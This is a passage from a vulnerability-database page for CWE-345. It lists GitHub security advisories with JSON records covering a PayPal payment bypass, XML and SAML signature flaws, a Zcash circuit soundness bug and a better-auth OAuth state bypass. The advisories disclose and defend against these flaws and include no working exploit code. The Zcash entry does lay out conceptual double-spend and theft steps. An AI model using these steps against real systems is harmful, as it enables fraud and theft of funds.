CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1246 vulnerabilities reference this CWE, most recent first.
GHSA-WW4H-86QV-RMR8
Vulnerability from github – Published: 2026-08-07 00:31 – Updated: 2026-08-07 15:33The Formidable Forms WordPress plugin before 6.32.1 does not properly validate the status of a PayPal subscription payment before marking it complete, allowing unauthenticated users to bypass payment and trigger paid form actions — such as digital content access, license delivery, and membership activation — without being charged.
{
"affected": [],
"aliases": [
"CVE-2026-11361"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-06T22:16:44Z",
"severity": "MODERATE"
},
"details": "The Formidable Forms WordPress plugin before 6.32.1 does not properly validate the status of a PayPal subscription payment before marking it complete, allowing unauthenticated users to bypass payment and trigger paid form actions \u2014 such as digital content access, license delivery, and membership activation \u2014 without being charged.",
"id": "GHSA-ww4h-86qv-rmr8",
"modified": "2026-08-07T15:33:09Z",
"published": "2026-08-07T00:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11361"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/dbee54f6-898f-436a-9f72-f2248931ea12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WW7X-3GXH-QM6R
Vulnerability from github – Published: 2023-11-28 18:52 – Updated: 2023-12-06 21:08Validation of an XML Signature requires verification that the hash value of the related XML-document (after any optional transformations and/or normalizations) matches a specific DigestValue-value, but also that the cryptografic signature on the SignedInfo-tree (the one that contains the DigestValue) verifies and matches a trusted public key.
Within the simpleSAMLphp/xml-security library (https://github.com/simplesamlphp/xml-security), the hash is being validated using SignedElementTrait::validateReference, and the signature is being verified in SignedElementTrait::verifyInternal
https://github.com/simplesamlphp/xml-security/blob/master/src/XML/SignedElementTrait.php:

What stands out is that the signature is being calculated over the canonical version of the SignedInfo-tree. The validateReference method, however, uses the original non-canonicalized version of SignedInfo.
Impact
If an attacker somehow (i.e. by exploiting a bug in PHP's canonicalization function) manages to manipulate the canonicalized version's DigestValue, it would be potentially be possible to forge the signature. No possibilities to exploit this were found during the investigation.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/xml-security"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.11"
},
{
"fixed": "1.6.12"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.6.11"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/saml2"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.12"
},
{
"fixed": "5.0.0-alpha.13"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.0.0-alpha.12"
]
}
],
"aliases": [
"CVE-2023-49087"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-28T18:52:19Z",
"nvd_published_at": "2023-11-30T06:15:47Z",
"severity": "HIGH"
},
"details": "Validation of an XML Signature requires verification that the hash value of the related XML-document (after any optional transformations and/or normalizations) matches a specific DigestValue-value, but also that the cryptografic signature on the SignedInfo-tree (the one that contains the DigestValue) verifies and matches a trusted public key.\n\nWithin the simpleSAMLphp/xml-security library (https://github.com/simplesamlphp/xml-security), the hash is being validated using SignedElementTrait::validateReference, and the signature is being verified in SignedElementTrait::verifyInternal\n\nhttps://github.com/simplesamlphp/xml-security/blob/master/src/XML/SignedElementTrait.php:\n\n\n\nWhat stands out is that the signature is being calculated over the canonical version of the SignedInfo-tree. The validateReference method, however, uses the original non-canonicalized version of SignedInfo.\n\n### Impact\nIf an attacker somehow (i.e. by exploiting a bug in PHP\u0027s canonicalization function) manages to manipulate the canonicalized version\u0027s DigestValue, it would be potentially be possible to forge the signature. No possibilities to exploit this were found during the investigation.",
"id": "GHSA-ww7x-3gxh-qm6r",
"modified": "2023-12-06T21:08:04Z",
"published": "2023-11-28T18:52:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/xml-security/security/advisories/GHSA-ww7x-3gxh-qm6r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49087"
},
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/xml-security/commit/f509e3083dd7870cce5880c804b5122317287581"
},
{
"type": "PACKAGE",
"url": "https://github.com/simplesamlphp/xml-security"
},
{
"type": "WEB",
"url": "https://github.com/simplesamlphp/xml-security/blob/master/src/XML/SignedElementTrait.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Validation of SignedInfo"
}
GHSA-WW9Q-8R59-XV46
Vulnerability from github – Published: 2026-07-06 21:23 – Updated: 2026-07-06 21:23Summary
A soundness vulnerability in the variable-base scalar multiplication gadget of halo2_gadgets allowed a malicious prover to produce a valid proof for an Orchard Action with an under-constrained base point. Because this gadget enforces the diversified-address-integrity condition of the Orchard Action statement, the flaw let a prover satisfy that condition for an arbitrary (pkd, gd, ivk) triple, effectively bypassing the check that binds an Action to the correct incoming viewing key — and therefore to the correct nullifier (nf) and spend validating key (ak) — of the note being spent.
The main practical consequence is that an adversary could have performed a double-spend within the Orchard pool, resulting in a balance violation: the same note could be spent multiple times, each time revealing a distinct, valid-looking nullifier. The total ZEC supply was protected by Zcash's turnstile mechanism, which bounds value flowing out of any pool, so unbounded inflation of the overall supply was not possible; the exposure was inflation of value within the Orchard pool up to the turnstile-enforced limit.
Exploiting the vulnerability via a double-spend is undetectable on-chain. Exploitation only requires setting private circuit inputs to chosen values, and nullifiers produced by a double-spend are indistinguishable from honest nullifiers, so the zero-knowledge property hides any signature of the attack.
Alternatively, an adversary could (before the fix) have stolen funds by forging a spend authorization for an existing note. To do so they would have to know the note plaintext, which in practice they might obtain by knowing the corresponding incoming viewing key. For example, this could be used to bypass the protection provided by holding spending keys on a hardware wallet, if the linked software wallet were compromised. This form of exploitation cannot be detected via the turnstile (which might be a motivation to exploit the vulnerability in this way rather than via balance violation). It can be detected by the legitimate holder of stolen funds being unable to spend them, or by seeing the note's nullifier on-chain — but this cannot necessarily be distinguished from compromise of the spending key by other means.
The vulnerability has existed since the Orchard pool was introduced in the NU5 network upgrade (activated May 31, 2022). There is no evidence it was exploited prior to remediation.
Note that use of the vulnerability, either for balance violation or for theft of funds, would need to have occurred before it was remediated. Theft would be in principle detectable from that point (since the real nullifier would appear on-chain). Balance violation would not be detectable at the point of exploitation.
Root cause
The defect is in the double-and-add implementation of variable-base scalar multiplication in halo2_gadgets/src/ecc/chip/mul/incomplete.rs. For performance, the algorithm uses incomplete point-addition formulas in its intermediate stage. (Incomplete addition is safe here in principle: the first and last stages use complete addition, and reaching a degenerate case would require breaking discrete log.)
The base point is fed into the incomplete-addition stage via assign_advice(), which assigns a witness value (a private circuit input) without introducing a constraint that ties that value to the actual base the algorithm is supposed to operate on:
region.assign_advice(|| "x_p", self.double_and_add.x_p, row + offset, || x_p)?;
region.assign_advice(|| "y_p", self.y_p, row + offset, || y_p)?;
(halo2_gadgets/src/ecc/chip/mul/incomplete.rs, around L309–L310 at commit 32a87582dfb0ad9364ef3ffe71751ceab2a502ea.)
The existing q_mul_2 constraint forces the base values used across the incomplete-addition loop to be equal to one another, but nothing forces them to equal the actual base. A malicious prover therefore has complete freedom to choose the base used by the loop. Given target pkd, gd, and ivk, the prover can solve for the base value that makes the computed [ivk] gd equal the desired pkd, satisfying the diversified-address-integrity equation pkdold = [ivk] gdold for inputs that an honest prover could never satisfy.
Why this enables a double-spend
The Orchard Action statement constrains the nullifier of the spent note to be derived from the correct nullifier key nk, which in turn is bound to the correct incoming viewing key ivk, via ivk = Commitivkrivk(Extractℙ(akℙ), nk). The diversified-address-integrity check pkd = [ivk] gd is what normally guarantees the prover used the correct ivk —and hence the correct nk— for the note. With that check bypassable:
- The prover picks a fresh, incorrect nk for the note being spent. Since nk feeds the nullifier computation, a wrong nk yields a different nullifier for the same note.
- Other circuit constraints still force the prover to derive ivk honestly from that wrong nk, producing a wrong ivk for the note — which would normally be caught by the integrity check.
- The prover uses the under-constrained base to satisfy pkd = [ivk] gd anyway, defeating the check.
- Each distinct wrong nk produces a distinct valid nullifier, allowing the note to be spent repeatedly.
Why this enables theft
The spend validating key, akℙ (essentially equivalent to ak), is also constrained via ivk = Commitivkrivk(Extractℙ(akℙ), nk). As above, the diversified-address-integrity check is what normally guarantees the prover used the correct ivk —and hence the correct ak— for the note. With that check bypassable:
- The prover picks an ak for which they know the private key, ask.
- They construct a transaction that spends the victim's notes, and sign it using that ask.
Impact
- Integrity: High. A malicious prover could spend Orchard notes multiple times, inflating value within the Orchard pool. This is bounded only by the turnstile limit on the pool. Alternatively, the prover could authorize spending other users' notes without having the spending key.
- Confidentiality: None. The zero-knowledge property is intact; no private data is disclosed. This is also why the attack leaves no observable on-chain signature.
- Availability: Not directly affected by the bug. (The coordinated response temporarily disabled Orchard actions as a mitigation; that was an operational choice, not an effect of the vulnerability.) On the other hand, either theft of funds, or inability to spend funds due to a future turnstile violation could be considered an availability consequence.
Affected versions
halo2_gadgets< 0.5.0orchard< 0.14.0zcash_primitives< 0.28.0zcashd< 6.20.0zebrad< 5.0.0
Patches
The circuit-level fix replaces the first-iteration assign_advice() calls for the base point with copy_advice(), introducing a copy constraint that requires the first base value to equal the correct base. Combined with the existing q_mul_2 equality constraint across the loop, this transitively constrains every base value in the incomplete-addition stage to the correct base, closing the freedom the attacker relied on.
Because remediating a zero-knowledge circuit changes the pinned verifying key, the network-level fix required a hard fork (NU6.2). NU6.2 re-enables Orchard with the corrected circuit and routes Orchard proofs to a per-circuit verifying key (InsecurePreNu6_2 / FixedPostNu6_2).
halo2_gadgets0.5.0orchard0.14.0zcash_primitives0.28.0zebrad5.0.0 (NU6.2); 4.5.3 ships the interim soft-fork mitigationzcashd6.20.0 (NU6.2)
Workarounds / mitigations
There is no client-side workaround for the underlying soundness flaw short of the circuit fix. The deployed interim mitigation (Zebra 4.5.3 / equivalent) was a soft fork that rejected all Orchard-containing transactions and blocks, fully neutralizing exploitation until NU6.2 activated.
Downstream projects that depend on the affected crates should:
- Upgrade
halo2_gadgets,orchard, andzcash_primitivesto the patched versions above. - Audit any other use of
assign_advice()(and similar non-constraining assignment APIs) where the intended invariant is that a witnessed value equals a known/fixed value; such sites should usecopy_advice()(or otherwise enforce an explicit constraint).
Indicators / detection
Exploitation produces no distinguishing on-chain signature. The turnstile mechanism, which tracks total ZEC across all value pools, provides a ground-truth supply check and confirmed the total supply remained intact. Heuristic analysis of Orchard transaction arity (e.g. patterns of duplicate-then-consolidate behavior) is possible but inconclusive against normal shielded-activity variance.
Timeline (MDT)
| Date / Time | Event |
|---|---|
| 2022-05-31 11:50 | Vulnerable NU5 upgrade activates (bug introduced) |
| 2026-05-29 (evening) | Vulnerability discovered during a protocol audit |
| 2026-05-29 23:53 | Responsibly disclosed to ZODL core engineers |
| 2026-05-30 06:30 | Disclosure acknowledged by ZODL |
| 2026-06-01 (~21:30) | Emergency soft-fork mitigation activated (block 3,363,426) |
| 2026-06-03 00:05 EDT | NU6.2 hard fork activates, Orchard re-enabled with fix (block 3,364,600) |
Credits
Discovered and responsibly disclosed by Taylor Hornby, independent security researcher, during a protocol audit conducted on behalf of Shielded Labs. Analysis and remediation was led by ZODL engineers Jack Grigg, Daira-Emma Hopwood, and Kris Nuttycombe, with Zebra patch work by Arya Solhi (Zcash Foundation).
Resources
- Zcash Foundation: Zebra 4.5.3 and 5.0.0: Emergency Soft Fork and NU6.2 Activation — https://zfnd.org/zebra-4-5-3-and-5-0-0-emergency-soft-fork-and-nu6-2-activation/
- Affected source (pre-fix):
halo2_gadgets/src/ecc/chip/mul/incomplete.rs@ commit32a87582dfb0ad9364ef3ffe71751ceab2a502ea, L309–L310
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.1"
},
"package": {
"ecosystem": "crates.io",
"name": "zebrad"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "halo2_gadgets"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "orchard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "zcash_primitives"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54496"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T21:23:41Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nA soundness vulnerability in the variable-base scalar multiplication gadget of `halo2_gadgets` allowed a malicious prover to produce a valid proof for an Orchard Action with an *under-constrained* base point. Because this gadget enforces the diversified-address-integrity condition of the Orchard Action statement, the flaw let a prover satisfy that condition for an arbitrary (pk\u003csub\u003ed\u003c/sub\u003e, g\u003csub\u003ed\u003c/sub\u003e, ivk) triple, effectively bypassing the check that binds an Action to the correct incoming viewing key \u2014 and therefore to the correct nullifier (nf) and spend validating key (ak) \u2014 of the note being spent.\n\nThe main practical consequence is that an adversary could have performed a **double-spend within the Orchard pool**, resulting in a balance violation: the same note could be spent multiple times, each time revealing a distinct, valid-looking nullifier. The total ZEC supply was protected by Zcash\u0027s turnstile mechanism, which bounds value flowing out of any pool, so unbounded inflation of the overall supply was not possible; the exposure was inflation of value *within* the Orchard pool up to the turnstile-enforced limit.\n\nExploiting the vulnerability via a double-spend is **undetectable on-chain**. Exploitation only requires setting private circuit inputs to chosen values, and nullifiers produced by a double-spend are indistinguishable from honest nullifiers, so the zero-knowledge property hides any signature of the attack.\n\nAlternatively, an adversary could (before the fix) have **stolen funds** by forging a spend authorization for an existing note. To do so they would have to know the note plaintext, which in practice they might obtain by knowing the corresponding incoming viewing key. For example, this could be used to bypass the protection provided by holding spending keys on a hardware wallet, if the linked software wallet were compromised. This form of exploitation cannot be detected via the turnstile (which might be a motivation to exploit the vulnerability in this way rather than via balance violation). It can be detected by the legitimate holder of stolen funds being unable to spend them, or by seeing the note\u0027s nullifier on-chain \u2014 but this cannot necessarily be distinguished from compromise of the spending key by other means.\n\nThe vulnerability has existed since the Orchard pool was introduced in the NU5 network upgrade (activated May 31, 2022). There is no evidence it was exploited prior to remediation.\n\nNote that use of the vulnerability, either for balance violation or for theft of funds, would need to have occurred before it was remediated. Theft would be in principle detectable from that point (since the real nullifier would appear on-chain). Balance violation would not be detectable at the point of exploitation.\n\n### Root cause\n\nThe defect is in the double-and-add implementation of variable-base scalar multiplication in `halo2_gadgets/src/ecc/chip/mul/incomplete.rs`. For performance, the algorithm uses incomplete point-addition formulas in its intermediate stage. (Incomplete addition is safe here in principle: the first and last stages use complete addition, and reaching a degenerate case would require breaking discrete log.)\n\nThe base point is fed into the incomplete-addition stage via `assign_advice()`, which assigns a witness value (a private circuit input) **without** introducing a constraint that ties that value to the actual base the algorithm is supposed to operate on:\n\n```rust\nregion.assign_advice(|| \"x_p\", self.double_and_add.x_p, row + offset, || x_p)?;\nregion.assign_advice(|| \"y_p\", self.y_p, row + offset, || y_p)?;\n```\n*(`halo2_gadgets/src/ecc/chip/mul/incomplete.rs`, around L309\u2013L310 at commit `32a87582dfb0ad9364ef3ffe71751ceab2a502ea`.)*\n\nThe existing `q_mul_2` constraint forces the base values used *across* the incomplete-addition loop to be equal to one another, but nothing forces them to equal the **actual base**. A malicious prover therefore has complete freedom to choose the base used by the loop. Given target pk\u003csub\u003ed\u003c/sub\u003e, g\u003csub\u003ed\u003c/sub\u003e, and ivk, the prover can solve for the base value that makes the computed [ivk] g\u003csub\u003ed\u003c/sub\u003e equal the desired pk\u003csub\u003ed\u003c/sub\u003e, satisfying the diversified-address-integrity equation pk\u003csub\u003ed\u003c/sub\u003e\u003csup\u003eold\u003c/sup\u003e = [ivk] g\u003csub\u003ed\u003c/sub\u003e\u003csup\u003eold\u003c/sup\u003e for inputs that an honest prover could never satisfy.\n\n### Why this enables a double-spend\n\nThe Orchard Action statement constrains the nullifier of the spent note to be derived from the correct nullifier key nk, which in turn is bound to the correct incoming viewing key ivk, via ivk = Commit\u003csup\u003eivk\u003c/sup\u003e\u003csub\u003erivk\u003c/sub\u003e(Extract\u003csub\u003e\u2119\u003c/sub\u003e(ak\u003csup\u003e\u2119\u003c/sup\u003e), nk). The diversified-address-integrity check pk\u003csub\u003ed\u003c/sub\u003e = [ivk] g\u003csub\u003ed\u003c/sub\u003e is what normally guarantees the prover used the correct ivk \u2014and hence the correct nk\u2014 for the note. With that check bypassable:\n\n1. The prover picks a fresh, **incorrect** nk for the note being spent. Since nk feeds the nullifier computation, a wrong nk yields a different nullifier for the same note.\n2. Other circuit constraints still force the prover to derive ivk honestly from that wrong nk, producing a wrong ivk for the note \u2014 which would normally be caught by the integrity check.\n3. The prover uses the under-constrained base to satisfy pk\u003csub\u003ed\u003c/sub\u003e = [ivk] g\u003csub\u003ed\u003c/sub\u003e anyway, defeating the check.\n4. Each distinct wrong nk produces a distinct valid nullifier, allowing the note to be spent repeatedly.\n\n### Why this enables theft\n\nThe spend validating key, ak\u003csup\u003e\u2119\u003c/sup\u003e (essentially equivalent to ak), is also constrained via ivk = Commit\u003csup\u003eivk\u003c/sup\u003e\u003csub\u003erivk\u003c/sub\u003e(Extract\u003csub\u003e\u2119\u003c/sub\u003e(ak\u003csup\u003e\u2119\u003c/sup\u003e), nk). As above, the diversified-address-integrity check is what normally guarantees the prover used the correct ivk \u2014and hence the correct ak\u2014 for the note. With that check bypassable:\n\n1. The prover picks an ak for which they know the private key, ask.\n2. They construct a transaction that spends the victim\u0027s notes, and sign it using that ask.\n\n### Impact\n\n- **Integrity:** High. A malicious prover could spend Orchard notes multiple times, inflating value within the Orchard pool. This is bounded only by the turnstile limit on the pool. Alternatively, the prover could authorize spending other users\u0027 notes without having the spending key.\n- **Confidentiality:** None. The zero-knowledge property is intact; no private data is disclosed. This is also why the attack leaves no observable on-chain signature.\n- **Availability:** Not directly affected by the bug. (The coordinated response temporarily disabled Orchard actions as a mitigation; that was an operational choice, not an effect of the vulnerability.) On the other hand, either theft of funds, or inability to spend funds due to a future turnstile violation could be considered an availability consequence.\n\n### Affected versions\n\n- `halo2_gadgets` `\u003c 0.5.0`\n- `orchard` `\u003c 0.14.0`\n- `zcash_primitives` `\u003c 0.28.0`\n- `zcashd` `\u003c 6.20.0`\n- `zebrad` `\u003c 5.0.0`\n\n### Patches\n\nThe circuit-level fix replaces the first-iteration `assign_advice()` calls for the base point with `copy_advice()`, introducing a copy constraint that requires the first base value to equal the correct base. Combined with the existing `q_mul_2` equality constraint across the loop, this transitively constrains every base value in the incomplete-addition stage to the correct base, closing the freedom the attacker relied on.\n\nBecause remediating a zero-knowledge circuit changes the pinned verifying key, the network-level fix required a hard fork (NU6.2). NU6.2 re-enables Orchard with the corrected circuit and routes Orchard proofs to a per-circuit verifying key (`InsecurePreNu6_2` / `FixedPostNu6_2`).\n\n- `halo2_gadgets` 0.5.0\n- `orchard` 0.14.0\n- `zcash_primitives` 0.28.0\n- `zebrad` 5.0.0 (NU6.2); 4.5.3 ships the interim soft-fork mitigation\n- `zcashd` 6.20.0 (NU6.2)\n\n### Workarounds / mitigations\n\nThere is no client-side workaround for the underlying soundness flaw short of the circuit fix. The deployed interim mitigation (Zebra 4.5.3 / equivalent) was a soft fork that rejected all Orchard-containing transactions and blocks, fully neutralizing exploitation until NU6.2 activated.\n\nDownstream projects that depend on the affected crates should:\n\n- Upgrade `halo2_gadgets`, `orchard`, and `zcash_primitives` to the patched versions above.\n- Audit any other use of `assign_advice()` (and similar non-constraining assignment APIs) where the intended invariant is that a witnessed value equals a known/fixed value; such sites should use `copy_advice()` (or otherwise enforce an explicit constraint).\n\n### Indicators / detection\n\nExploitation produces no distinguishing on-chain signature. The turnstile mechanism, which tracks total ZEC across all value pools, provides a ground-truth supply check and confirmed the total supply remained intact. Heuristic analysis of Orchard transaction arity (e.g. patterns of duplicate-then-consolidate behavior) is possible but inconclusive against normal shielded-activity variance.\n\n### Timeline (MDT)\n\n| Date / Time | Event |\n|---|---|\n| 2022-05-31 11:50 | Vulnerable NU5 upgrade activates (bug introduced) |\n| 2026-05-29 (evening) | Vulnerability discovered during a protocol audit |\n| 2026-05-29 23:53 | Responsibly disclosed to ZODL core engineers |\n| 2026-05-30 06:30 | Disclosure acknowledged by ZODL |\n| 2026-06-01 (~21:30) | Emergency soft-fork mitigation activated (block 3,363,426) |\n| 2026-06-03 00:05 EDT | NU6.2 hard fork activates, Orchard re-enabled with fix (block 3,364,600) |\n\n### Credits\n\nDiscovered and responsibly disclosed by **Taylor Hornby**, independent security researcher, during a protocol audit conducted on behalf of **Shielded Labs**. Analysis and remediation was led by ZODL engineers **Jack Grigg**, **Daira-Emma Hopwood**, and **Kris Nuttycombe**, with Zebra patch work by **Arya Solhi** (Zcash Foundation).\n\n### Resources\n\n- Zcash Foundation: *Zebra 4.5.3 and 5.0.0: Emergency Soft Fork and NU6.2 Activation* \u2014 https://zfnd.org/zebra-4-5-3-and-5-0-0-emergency-soft-fork-and-nu6-2-activation/\n- Affected source (pre-fix): `halo2_gadgets/src/ecc/chip/mul/incomplete.rs` @ commit `32a87582dfb0ad9364ef3ffe71751ceab2a502ea`, L309\u2013L310",
"id": "GHSA-ww9q-8r59-xv46",
"modified": "2026-07-06T21:23:41Z",
"published": "2026-07-06T21:23:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-ww9q-8r59-xv46"
},
{
"type": "PACKAGE",
"url": "https://github.com/ZcashFoundation/zebra"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Zebra: Missing copy constraint in halo2_gadgets variable-base scalar multiplication allows under-constrained base, breaking Orchard Action circuit soundness"
}
GHSA-WX4H-WGR2-66H2
Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2022-05-24 17:30When SAML authentication is enabled, Juniper Networks Mist Cloud UI might incorrectly handle child elements in SAML responses, allowing a remote attacker to modify a valid SAML response without invalidating its cryptographic signature to bypass SAML authentication security controls. This issue affects all Juniper Networks Mist Cloud UI versions prior to September 2 2020.
{
"affected": [],
"aliases": [
"CVE-2020-1677"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-16T21:15:00Z",
"severity": "HIGH"
},
"details": "When SAML authentication is enabled, Juniper Networks Mist Cloud UI might incorrectly handle child elements in SAML responses, allowing a remote attacker to modify a valid SAML response without invalidating its cryptographic signature to bypass SAML authentication security controls. This issue affects all Juniper Networks Mist Cloud UI versions prior to September 2 2020.",
"id": "GHSA-wx4h-wgr2-66h2",
"modified": "2022-05-24T17:30:52Z",
"published": "2022-05-24T17:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1677"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA11072"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WXW3-Q3M9-C3JR
Vulnerability from github – Published: 2026-05-15 17:33 – Updated: 2026-05-15 17:33Am I affected?
Users are affected if all of the following are true:
- The application uses
better-authat a version below1.6.2(or@better-auth/ssopaired with such a version). betterAuth({ account: { storeStateStrategy } })is set to"cookie". The default"database"is not affected.- The application wires at least one OAuth provider through
genericOAuth({ config })withpkce: false, or it supplies a customgetTokenortokenUrlthat does not require the storedcodeVerifier. Stock social providers with PKCE on are not affected. - The provider returns arbitrary
codevalues to the configured callback URL.
If users are on better-auth@1.6.2 or later, they are not affected.
Fix:
- Upgrade to
better-auth@1.6.2or later (current stable is1.6.10). - If users cannot upgrade, see workarounds below.
Summary
In parseGenericState, the cookie branch decrypted the oauth_state cookie and validated expiry, but did not compare the incoming OAuth state query parameter to the nonce that generateGenericState issued at sign-in. Any callback to /api/auth/oauth2/callback/<providerId> that arrived with a forged state and any code was therefore accepted as long as the browser still held a live oauth_state cookie. With pkce: false (or any getToken path that does not enforce a code-verifier round-trip), an attacker who forced the victim to deliver an attacker-controlled authorization code to the callback would mint a session bound to the attacker's external identity in the victim's browser. Account-linking flows behaved the same way, binding the attacker's external account to an authenticated victim row.
Details
The cookie branch of parseGenericState did not compare the cookie's stored nonce to the incoming state parameter. The database branch (the default) was not affected because the verification row is keyed by state and the lookup itself enforces equality.
The fix re-binds the cookie to the nonce: generateGenericState writes oauthState: state into the encrypted payload before storage, and parseGenericState rejects when parsedData.oauthState !== state. The same primitive covers every caller (generic-oauth, social, account-link, oauth-proxy passthrough, OIDC SSO, SAML relay state).
Patches
Fixed in better-auth@1.6.2 via PR #8949 (commit 9deb7936a, merged 2026-04-09). The cookie branch of parseGenericState now rejects when the encrypted payload's nonce does not match the incoming state parameter; the database branch gained a defense-in-depth equality check.
Workarounds
If users cannot upgrade immediately:
- Switch
storeStateStrategyback to"database"(the default). This closes the cookie-only bypass without a code change. - Enable
pkce: trueon every affectedgenericOAuthprovider. ThecodeVerifieris the missing primitive that the attacker cannot supply.
Impact
- Forced-login (CSRF on OAuth callback): the attacker forces the victim's browser into an authenticated session bound to the attacker's external identity, allowing the attacker to observe the victim's actions inside the application.
- Persistent account linking: account-link flows bind the attacker's external account to the victim's authenticated row, granting persistent access until the link is removed.
Credit
Reported by @Jvr2022 via private advisory disclosure, and by @alavesa (PatchPilots audit) via the public duplicate issue #8897.
Resources
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "better-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-345",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T17:33:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- The application uses `better-auth` at a version below `1.6.2` (or `@better-auth/sso` paired with such a version).\n- `betterAuth({ account: { storeStateStrategy } })` is set to `\"cookie\"`. The default `\"database\"` is not affected.\n- The application wires at least one OAuth provider through `genericOAuth({ config })` with `pkce: false`, or it supplies a custom `getToken` or `tokenUrl` that does not require the stored `codeVerifier`. Stock social providers with PKCE on are not affected.\n- The provider returns arbitrary `code` values to the configured callback URL.\n\nIf users are on `better-auth@1.6.2` or later, they are not affected.\n\nFix:\n\n1. Upgrade to `better-auth@1.6.2` or later (current stable is `1.6.10`).\n2. If users cannot upgrade, see workarounds below.\n\n### Summary\n\nIn `parseGenericState`, the cookie branch decrypted the `oauth_state` cookie and validated expiry, but did not compare the incoming OAuth `state` query parameter to the nonce that `generateGenericState` issued at sign-in. Any callback to `/api/auth/oauth2/callback/\u003cproviderId\u003e` that arrived with a forged `state` and any `code` was therefore accepted as long as the browser still held a live `oauth_state` cookie. With `pkce: false` (or any `getToken` path that does not enforce a code-verifier round-trip), an attacker who forced the victim to deliver an attacker-controlled authorization code to the callback would mint a session bound to the attacker\u0027s external identity in the victim\u0027s browser. Account-linking flows behaved the same way, binding the attacker\u0027s external account to an authenticated victim row.\n\n### Details\n\nThe cookie branch of `parseGenericState` did not compare the cookie\u0027s stored nonce to the incoming `state` parameter. The database branch (the default) was not affected because the verification row is keyed by `state` and the lookup itself enforces equality.\n\nThe fix re-binds the cookie to the nonce: `generateGenericState` writes `oauthState: state` into the encrypted payload before storage, and `parseGenericState` rejects when `parsedData.oauthState !== state`. The same primitive covers every caller (`generic-oauth`, social, account-link, oauth-proxy passthrough, OIDC SSO, SAML relay state).\n\n### Patches\n\nFixed in `better-auth@1.6.2` via [PR #8949](https://github.com/better-auth/better-auth/pull/8949) (commit `9deb7936a`, merged 2026-04-09). The cookie branch of `parseGenericState` now rejects when the encrypted payload\u0027s nonce does not match the incoming `state` parameter; the database branch gained a defense-in-depth equality check.\n\n### Workarounds\n\nIf users cannot upgrade immediately:\n\n- **Switch `storeStateStrategy` back to `\"database\"`** (the default). This closes the cookie-only bypass without a code change.\n- **Enable `pkce: true`** on every affected `genericOAuth` provider. The `codeVerifier` is the missing primitive that the attacker cannot supply.\n\n### Impact\n\n- **Forced-login (CSRF on OAuth callback)**: the attacker forces the victim\u0027s browser into an authenticated session bound to the attacker\u0027s external identity, allowing the attacker to observe the victim\u0027s actions inside the application.\n- **Persistent account linking**: account-link flows bind the attacker\u0027s external account to the victim\u0027s authenticated row, granting persistent access until the link is removed.\n\n### Credit\n\nReported by @Jvr2022 via private advisory disclosure, and by @alavesa (PatchPilots audit) via the public duplicate [issue #8897](https://github.com/better-auth/better-auth/issues/8897).\n\n### Resources\n\n- [CWE-352: Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-287: Improper 